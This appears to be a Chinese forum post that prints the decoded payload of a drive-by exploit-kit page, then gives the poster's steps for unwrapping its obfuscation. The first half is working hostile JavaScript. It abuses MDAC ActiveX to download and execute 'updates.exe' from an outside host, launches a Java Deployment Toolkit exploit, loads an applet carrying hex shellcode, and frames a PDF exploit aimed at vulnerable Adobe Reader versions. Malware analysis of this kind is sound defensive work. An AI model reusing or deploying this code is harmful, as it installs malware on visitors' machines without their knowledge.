木有难度
var Shy1qHjEP8UX='http://golooglecom.in/rz141_at/load.php?spl=mdac&fh=';function HSxq3uCd9eJX(z1McmSTMqbSV,LthNvqt2Utda){var cBjl0nHGVGGM=null;try{cBjl0nHGVGGM=z1McmSTMqbSV.CreateObject(LthNvqt2Utda)}catch(e){}if(!cBjl0nHGVGGM){try{cBjl0nHGVGGM=z1McmSTMqbSV.CreateObject(LthNvqt2Utda,"")}catch(e){}}if(!cBjl0nHGVGGM){try{cBjl0nHGVGGM=z1McmSTMqbSV.CreateObject(LthNvqt2Utda,"","")}catch(e){}}if(!cBjl0nHGVGGM){try{cBjl0nHGVGGM=z1McmSTMqbSV.GetObject("",LthNvqt2Utda)}catch(e){}}if(!cBjl0nHGVGGM){try{cBjl0nHGVGGM=z1McmSTMqbSV.GetObject(LthNvqt2Utda,"")}catch(e){}}if(!cBjl0nHGVGGM){try{cBjl0nHGVGGM=z1McmSTMqbSV.GetObject(LthNvqt2Utda)}catch(e){}}return(cBjl0nHGVGGM);}function S1aw85UTWSKZ(wp45E2703Smo){qFBmrdHqXyES="updates.exe";var eWCVBW3Khm7r=wp45E2703Smo.CreateObject("Scripting.FileSystemObject","");var sap=HSxq3uCd9eJX(wp45E2703Smo,"Sh"+"e"+"l"+"l.App"+"l"+"ica"+"t"+"i"+"on");var z9TJ28uFxxJC=HSxq3uCd9eJX(wp45E2703Smo,"ADODB.Stream");var FO86eORCO20W=null;qFBmrdHqXyES=eWCVBW3Khm7r.BuildPath(eWCVBW3Khm7r.GetSpecialFolder(2),qFBmrdHqXyES);z9TJ28uFxxJC.Mode=3;try{FO86eORCO20W=HSxq3uCd9eJX(wp45E2703Smo,"Mic"+"ro"+"so"+"ft.XM"+"LH"+"T"+"TP");FO86eORCO20W.open("G"+"ET",Shy1qHjEP8UX,false);}catch(e){try{FO86eORCO20W=HSxq3uCd9eJX(wp45E2703Smo,"MSX"+"M"+"L2.XML"+"HT"+"TP");FO86eORCO20W.open("GE"+"T",Shy1qHjEP8UX,false);}catch(e){try{FO86eORCO20W=HSxq3uCd9eJX(wp45E2703Smo,"M"+"SX"+"ML2.Se"+"rv"+"erX"+"MLHT"+"TP");FO86eORCO20W.open("GET",Shy1qHjEP8UX,false);}catch(e){try{FO86eORCO20W=new XMLHttpRequest();FO86eORCO20W.open("GET",Shy1qHjEP8UX,false);}catch(e){return 0;}}}}z9TJ28uFxxJC.Type=1;FO86eORCO20W.send(null);rb=FO86eORCO20W.responseBody;z9TJ28uFxxJC.Open();z9TJ28uFxxJC.Write(rb);z9TJ28uFxxJC.SaveTofile(qFBmrdHqXyES,2);sap.ShellExecute(qFBmrdHqXyES);return 1;}function mdac(){var iPM2s9qnO2ZF=0;var vezc7KCSqOx3d=new Array('BD96C556-65A3-11D0-983A-00C04FC29E36','BD96C556-65A3-11D0-983A-00C04FC29E30','AB9BCEDD-EC7E-47E1-9322-D4A210617116','0006F033-0000-0000-C000-000000000046','0006F03A-0000-0000-C000-000000000046','6e32070a-766d-4ee6-879c-dc1fa91d2fc3','6414512B-B978-451D-A0D8-FCFDF33E833C','7F5B7F63-F06F-4331-8A26-339E03C0AE3D','06723E09-F4C2-43c8-8358-09FCD1DB0766','639F725F-1B2D-4831-A9FD-874847682010','BA018599-1DB3-44f9-83B4-461454C84BF8','D0C07D56-7C69-43F1-B4A0-25F5A11FAB19','E8CCCDDF-CA28-496b-B050-6C07C962476B',null);while(vezc7KCSqOx3d[iPM2s9qnO2ZF]){var wp45E2703Smo=null;wp45E2703Smo=document.createElement("object");wp45E2703Smo.setAttribute("classid","clsid:"+vezc7KCSqOx3d[iPM2s9qnO2ZF]);if(wp45E2703Smo){try{var Or6DpKfeS0xU=HSxq3uCd9eJX(wp45E2703Smo,"S"+"he"+"l"+"l.App"+"lica"+"ti"+"on");if(Or6DpKfeS0xU){if(S1aw85UTWSKZ(wp45E2703Smo))return 1;}}catch(e){}}iPM2s9qnO2ZF++;}} setTimeout("mdac();",200); function java_dt(){try{var u = "-J-jar -J\\\\golooglecom.in\\smb\\new.avi [url]http://golooglecom.in/rz141_at/load.php?spl=x1YY&fh=[/url]";if (window.navigator.appName == "Microsoft Internet Explorer") {try { var o = document.createElement("OBJECT");o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";o.launch(u);} catch(e) {var o2 = document.createElement("OBJECT");o2.classid = "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93";o2.launch(u);}} else {var o = document.createElement("OBJECT");var n = document.createElement("OBJECT");o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";n.type = "application/java-deployment-toolkit";document.body.appendChild(o);document.body.appendChild(n);try {o.launch(u);} catch (e) {n.launch(u);}}} catch (e) {}} setTimeout("java_dt();",1000); function java_gsb(){ var javaelem = document.createElement("applet");var paramelem = document.createElement("param");paramelem.setAttribute("name", "sc");paramelem.setAttribute("value", "909090eb115b4b33c96681c9af0180340ba6e2faeb05e8eaffffff4f7ca6a6a6f9c20796a6a6a62de6aa2dd6ba0b2dceae2dd6862da62698cdd355e0e02698c3d34ae0e02698d4d351e0e02698c8d3562d51cca5ff4efda6a6a6445fcec9c8a6a6ced3d4cacbf259b02d4e4ee3a6a6a6ceca9594a6ced5cec3caf259b02d4e4e97a6a6a6254ae62d7af5cce659f0a261a2a5c788c3dec061e2a5a2c3a69566f6f6f5f1f659f0aa2d7af6f6f6f5f6f659f0b659f0aef7f02dd39a2dd288dea553f02dd086a553956fefe70ba563957da918b69c70d2ae676daba57ce64d579db9d341f82df882a57bc02daaed2df8baa57b2da22da5630df8ff654e8759595928e8a84a956c2cfdd87e44d590bc89d6f81d47bdced2d2d69c8989c1c9cac9c9c1cac3c5c9cb88cfc889d4dc979297f9c7d289cac9c7c288d6ced699d5d6ca9bccc7d0c7f9c1d5c480c0ce9ba6");javaelem.setAttribute("code", "AppleT");javaelem.setAttribute("archive", "1.jar");javaelem.setAttribute("width", "100%");javaelem.setAttribute("height", "100%");javaelem.appendChild(paramelem);document.body.appendChild(javaelem); } setTimeout("java_gsb();",3000); function pdf_ie(){try{var pdfObject = document.createElement("OBJECT");pdfObject.setAttribute("id", "jdf1");pdfObject.setAttribute("classid", "clsid:CA8A9780-280D-11CF-A24D-444553540000");document.body.appendChild(pdfObject);var ver = jdf1.GetVersions();ver = ver.split(",");ver = ver[1].split("=");ver = ver[1];if (((ver >= "7") && (ver < "7.1.4")) || ((ver >= "8") && (ver < "8.1.7")) || ((ver >= "9") && (ver < "9.3"))){var pdfelement = document.createElement("iframe");pdfelement.setAttribute("src", "http://golooglecom.in/rz141_at/pdf.php?fh=");pdfelement.setAttribute("width", 200);pdfelement.setAttribute("height", 200);document.body.appendChild(pdfelement);}}catch(e){}} setTimeout("pdf_ie();",9000);
步骤：
查找GXzob52=RE4Ml[3]+RE4Ml[8]+RE4Ml[16]+RE4Ml[24];
删去后面的语句，添加语句alert(GXzob52);，得出GXzob52是eval
同理S82iD2j6是
function eval() {
[native code]
}
于是乎，看下面，两句S82iD2j6开头的，即是eval内容
将内容放在freshow里面connect一下，得内容
function JR8Qk3BHg7(){xARK9=parseInt(document.getElementById('i8WbG').innerHTML);return xARK9;}
function m2qo55(mWSQJ9){var bo99qGj=JR8Qk3BHg7(); N4qrky00=''; if (bo99qGj==194) for(var i=0;i<mWSQJ9.length;i++){N4qrky00 +=String.fromCharCode(mWSQJ9[i]);} return N4qrky00;}
S82iD2j6(m2qo55(Jyyl));
于是乎，顺理成章。。。。m2qo55(Jyyl)这个便是解密后的代码。
在<html>标签后面加一句
<textarea id="abc"></textarea>
把最后一句修改为
S82iD2j6("functio"+"n m2q"+"o55(m"+"WSQJ9)"+"{var "+"bo99q"+"Gj=J"+"R8Qk3BH"+"g7()"+"; N"+"4qrky00"+"='';"+" if (bo9"+"9qGj==19"+"4) f"+"or(va"+"r i=0;"+"i<mWSQ"+"J9.l"+"eng"+"th;i++"+"){N4qrk"+"y00 "+"+=Str"+"ing.fr"+"omCha"+"rCode(mW"+"SQJ"+"9[i]);} "+"return N"+"4qrky0"+"0;} "+"");
document.getElementById("abc").value=m2qo55(Jyyl);
运行htm，在小框框内就是m2qo55(Jyyl)的内容
发现任然是加密内容，继续解密。。。。。
方法和上面差不多，发现cDQWOo8100q是解密后的内容，
同样是<textarea id="abc"></textarea>。。。。。document.getElementById("abc").value=cDQWOo8100q;
又是小框框。。。。
这回解出来了
附文件，解压后直接运行，小框框内就是解密后的代码
